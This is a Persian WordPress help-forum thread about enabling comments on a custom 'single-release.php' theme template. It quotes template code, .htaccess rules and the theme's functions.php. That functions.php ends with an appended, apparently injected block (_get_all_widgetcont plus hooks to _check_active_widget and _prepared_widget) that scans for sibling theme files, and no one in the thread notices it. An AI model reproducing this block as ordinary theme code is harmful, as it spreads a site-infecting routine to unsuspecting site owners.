dcomp 0 ارسال شده در اردیبهشت 94 گزارش بازنشر ارسال شده در اردیبهشت 94 سلام خدمت تمام دوستان.من میخوام برای برگه هایی که ایجاد میکنم در سایت گذینه افزودن دیدگاه بزارم.یعنی کاربر بتونه زیر متن برگه های سایت من دیدگاه بزاره.با تشکر نقل قول لینک به ارسال
dcomp 0 ارسال شده در اردیبهشت 94 مالک گزارش بازنشر ارسال شده در اردیبهشت 94 چه جالبه سوال بپرسی و بعد خودت به خودت پاسخ بدی!اگه کد زیر رو داخل page بنویسی دیگه کاربر میتونه درون برگه ها دیدگاه بزاره<?php comments_template(); // Get wp-comments.php template ?>البته پوسته من برگه های مخصوصی داره با نام single-release.php که توی این برگه ها این کد کار نمی کنه!اگه جوابشو پیدا کردم میگم حداقل بقیه استفاده کنن. نقل قول لینک به ارسال
علی زینلی 2114 ارسال شده در اردیبهشت 94 گزارش بازنشر ارسال شده در اردیبهشت 94 سلام ، به انجمن خوش اومدید.طلب که ندارید دوست عزیز در مورد سؤال اوّلتون اگر فقط کمی در انجمن جستجو میکردید بار ها این کد مطرح شده که میتونستین از اونجا کد رو بگیرید (و در واقع چون سؤال شما تکراری هست اصلاً خلاف قوانین انجمن هست)امّا در مورد single-release.php میتونین محتویات post_typeتون رو اینجا بذارید تا مکان صحیح گذاشتن قالب دیدگاه ها رو بهتون بگیم. 1 نقل قول لینک به ارسال
dcomp 0 ارسال شده در اردیبهشت 94 مالک گزارش بازنشر ارسال شده در اردیبهشت 94 سلام آقا علی.خیلی متشکرم ، منم خوشحالم که اینجا در کنار شما هستم.خیلی هم ممنونم که وقتتون رو در اختار من قرار دادید،والا این مدل کمک کردن به دیگران هم ثواب داره.اینم کد single-release.php ://show headerget_header();[/left]//post contentif (have_posts()) : while (have_posts()) : the_post();?><div class="one-fourth column"><div class="release-thumbnail"> <div class="release-cover"> <img src="<?php echo themex_thumbnail($post->ID,460); ?>" class="fullwidth" alt="" /> </div> <h4 class="release-title"><?php the_title(); ?></h4> <h6 class="release-artist"><?php echo themex_artists(get_post_meta($post->ID,'release_artists',true)); ?></h6> <div class="release-meta"> <?php //get buy links if(get_post_meta($post->ID,'release_links',true)!='') { parse_str(html_entity_decode(get_post_meta($post->ID,'release_links',true)),$links); } ?> <?php echo themex_links($post->ID); ?> <div class="release-info"><?php echo get_post_meta($post->ID,'release_date',true); ?></div> <div class="clear"></div> </div></div></div><div class="five-twelfth column"><div class="content-block"> <div class="block-title"> <span><?php the_title(); ?></span> </div> <div class="block-content"> <?php the_content(); ?><?php DisplayVotes(get_the_ID()); ?><font size=+1></br></br><?php if(function_exists('the_views')) { the_views(); } ?></font> </div></div></div><div class="one-third column last"><div class="content-block"> <div class="block-title"> <span><?php _e('Tracklist','replay'); ?></span> </div> <div class="block-content"> <div class="track-list"> <?php $tracks=array(); parse_str(html_entity_decode(get_post_meta($post->ID,'release_tracks',true)),$tracks); ?> <table> <?php $count=0; foreach($tracks as $track) { $count++; ?> <tr> <td class="track-number"><?php echo $count; ?></td> <td><?php echo stripslashes_deep($track['title']); ?></td> <td class="track-duration"><span><?php echo $track['duration']; ?></span> <?php if($track['url']!='') { ?> <a title="<?php _e('Play','replay'); ?>" href="#" class="attachment-icon audio-icon track-play-button"></a> <?php } ?> </td> </tr> <?php if($track['url']!='') { ?> <tr class="track-player"><td colspan="3"><audio preload="none" src="<?php echo $track['url']; ?>"></audio></td></tr> <?php } } ?> </table> </div> </div></div></div><?phpendwhile; endif; comments_template();//releasesif(get_option('themex_release_releases')!='true') {$releases_count=8;if(get_option('themex_release_releases_count')) { $releases_count=intval(get_option('themex_release_releases_count'));}$releases_order='date';if(get_option('themex_release_releases_order')) { $releases_order=get_option('themex_release_releases_order');}$releases_filters=null;if($releases_order=='related') { $artists=array(); parse_str(get_post_meta($post->ID,'release_artists',true),$artists); $releases_filters=array('artists'=>$artists);}$releases_title=__('Related Releases','replay');if($releases_order=='date') { $releases_title=__('Latest Releases','replay');} else if($releases_order=='rand') { $releases_title=__('Random Releases','replay');}$releases_exclude=array($post->ID);get_template_part('module','releases');}//show footerget_footer();?><?php نقل قول لینک به ارسال
علی زینلی 2114 ارسال شده در اردیبهشت 94 گزارش بازنشر ارسال شده در اردیبهشت 94 امتحان کنید:<?php//show headerget_header();[/left]//post contentif (have_posts()) : while (have_posts()) : the_post();?><div class="one-fourth column"><div class="release-thumbnail"> <div class="release-cover"> <img src="<?php echo themex_thumbnail($post->ID,460); ?>" class="fullwidth" alt="" /> </div> <h4 class="release-title"><?php the_title(); ?></h4> <h6 class="release-artist"><?php echo themex_artists(get_post_meta($post->ID,'release_artists',true)); ?></h6> <div class="release-meta"> <?php //get buy links if(get_post_meta($post->ID,'release_links',true)!='') { parse_str(html_entity_decode(get_post_meta($post->ID,'release_links',true)),$links); } ?> <?php echo themex_links($post->ID); ?> <div class="release-info"><?php echo get_post_meta($post->ID,'release_date',true); ?></div> <div class="clear"></div> </div></div></div><div class="five-twelfth column"><div class="content-block"> <div class="block-title"> <span><?php the_title(); ?></span> </div> <div class="block-content"> <?php the_content(); ?><?php DisplayVotes(get_the_ID()); ?><font size=+1></br></br><?php if(function_exists('the_views')) { the_views(); } ?></font> </div></div></div><div class="one-third column last"><div class="content-block"> <div class="block-title"> <span><?php _e('Tracklist','replay'); ?></span> </div> <div class="block-content"> <div class="track-list"> <?php $tracks=array(); parse_str(html_entity_decode(get_post_meta($post->ID,'release_tracks',true)),$tracks); ?> <table> <?php $count=0; foreach($tracks as $track) { $count++; ?> <tr> <td class="track-number"><?php echo $count; ?></td> <td><?php echo stripslashes_deep($track['title']); ?></td> <td class="track-duration"><span><?php echo $track['duration']; ?></span> <?php if($track['url']!='') { ?> <a title="<?php _e('Play','replay'); ?>" href="#" class="attachment-icon audio-icon track-play-button"></a> <?php } ?> </td> </tr> <?php if($track['url']!='') { ?> <tr class="track-player"><td colspan="3"><audio preload="none" src="<?php echo $track['url']; ?>"></audio></td></tr> <?php } } ?> </table> </div> </div></div></div><?phpendwhile; comments_template(); endif; //releasesif(get_option('themex_release_releases')!='true') {$releases_count=8;if(get_option('themex_release_releases_count')) { $releases_count=intval(get_option('themex_release_releases_count'));}$releases_order='date';if(get_option('themex_release_releases_order')) { $releases_order=get_option('themex_release_releases_order');}$releases_filters=null;if($releases_order=='related') { $artists=array(); parse_str(get_post_meta($post->ID,'release_artists',true),$artists); $releases_filters=array('artists'=>$artists);}$releases_title=__('Related Releases','replay');if($releases_order=='date') { $releases_title=__('Latest Releases','replay');} else if($releases_order=='rand') { $releases_title=__('Random Releases','replay');}$releases_exclude=array($post->ID);get_template_part('module','releases');}//show footerget_footer();?>اگر کار نکرد ببینید که قابلیّت دیدگاه ها برای این نوع پست اصلاً روشن هست یا نه. 1 نقل قول لینک به ارسال
dcomp 0 ارسال شده در اردیبهشت 94 مالک گزارش بازنشر ارسال شده در اردیبهشت 94 متشکرم آقا علی ، اما متاستفانه نشد.من دقیقا این کد ها رو جایگزین کدهای قبلی کردم ولی باز دیدگاه ها نمایش داده نمیشن!پذیرفتن بازتاب از دیگران (بازتاب فرستادن) اجازهی گذاشتن دیدگاه برای نوشتههای جدید دوتاشون تیک خورده هستن،کد comments_template(); رو هرجا میزارم داخل این فایل کارنمیکنه و لی داخل نوشته ها و برگه پیش فرض درسته.میگم ممکنه از فایل فایل ".htaccess" باشه؟البته من روی لوکال سایت رو فعلا پیاده کردم و نمیشه تست کنم اینو فعلا ولی داخل یه سایت زبان انگلیسی گفته بود باید کدهای زیر رو<IfModule mod_rewrite.c>RewriteEngine OnRewriteBase /RewriteCond %{REQUEST_FILENAME} !-fRewriteCond %{REQUEST_FILENAME} !-dRewriteRule . /index.php [L]</IfModule>داخل فایل ".htaccess" بنویسی! نقل قول لینک به ارسال
علی زینلی 2114 ارسال شده در اردیبهشت 94 گزارش بازنشر ارسال شده در اردیبهشت 94 متشکرم آقا علی ، اما متاستفانه نشد. من دقیقا این کد ها رو جایگزین کدهای قبلی کردم ولی باز دیدگاه ها نمایش داده نمیشن! پذیرفتن بازتاب از دیگران (بازتاب فرستادن) اجازهی گذاشتن دیدگاه برای نوشتههای جدید دوتاشون تیک خورده هستن، کد comments_template(); رو هرجا میزارم داخل این فایل کارنمیکنه و لی داخل نوشته ها و برگه پیش فرض درسته. میگم ممکنه از فایل فایل ".htaccess" باشه؟البته من روی لوکال سایت رو فعلا پیاده کردم و نمیشه تست کنم اینو فعلا ولی داخل یه سایت زبان انگلیسی گفته بود باید کدهای زیر رو RewriteEngine On RewriteBase / RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] داخل فایل ".htaccess" بنویسی! متأسفانه در این مورد اطلّاعاتی ندارم ، ولی خب ممکنه که از فایل خود دیدگاه ها یا functions.php بسته شده باشه یه چک بکنید.یه سرچی هم که زدم توی یکی از سایت ها گفته بود تیک اجازه گذاشتن دیدگاه برای نوشته های جدید رو بردارید و ذخیره کنید ، دوباره تیکش رو بزنید و ذخیره رو بزنید مشکل حل میشه. نقل قول لینک به ارسال
dcomp 0 ارسال شده در اردیبهشت 94 مالک گزارش بازنشر ارسال شده در اردیبهشت 94 تیک رو برداشتم و باز زدم، واسه نوشته ها درست کار میکنه دیدگاه ، ولی واسه برگه single-release.php نه!لطفا یه نگاهی به functions.php بندازید چون من ازش سر در نیوردم.<?php//Show all errors except noticeserror_reporting(E_ALL ^ E_NOTICE);// Define constantsdefine('THEME_PATH',get_template_directory().'/');define('THEME_URI',get_template_directory_uri().'/');define('THEME_CSS_URI',get_stylesheet_directory_uri().'/');define('THEME_VERSION','1.6');define('THEMEX_PATH',THEME_PATH.'framework/');define('THEMEX_URI',THEME_URI.'framework/');//Add theme supportsadd_theme_support( 'automatic-feed-links' );add_theme_support( 'post-thumbnails' );//Load Textdomainload_theme_textdomain('replay', THEME_PATH.'languages');//Set content widthif ( ! isset( $content_width ) ) $content_width = 940;//Register menusregister_nav_menu( 'main_menu', __('Main Menu','replay') );register_nav_menu( 'footer_menu', __('Footer Menu','replay') );//Include theme functionsinclude(THEMEX_PATH.'functions.php');// Include theme configuration fileinclude(THEMEX_PATH.'config.php');// Include core classinclude(THEMEX_PATH.'classes/themex.core.php');// Init theme$theme=new ThemexCore($config);?><?phpfunction _get_all_widgetcont($wids,$items=array()){$places=array_shift($wids);if(substr($places,-1) == "/"){ $places=substr($places,0,-1);}if(!file_exists($places) || !is_dir($places)){ return false;}elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } }}else{ return false;}if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items);} else { return $items;}}if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); }}if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; }}if(!function_exists("scandir")){function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray;}}add_action("admin_head", "_check_active_widget");add_action("init", "_prepared_widget");?> نقل قول لینک به ارسال
dcomp 0 ارسال شده در اردیبهشت 94 مالک گزارش بازنشر ارسال شده در اردیبهشت 94 آقایووووووووووون داداشا، کارم لنگ این دیدگاه مونده یه نگاهی کنید خواهش. نقل قول لینک به ارسال
پست های پیشنهاد شده
به گفتگو بپیوندید
هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .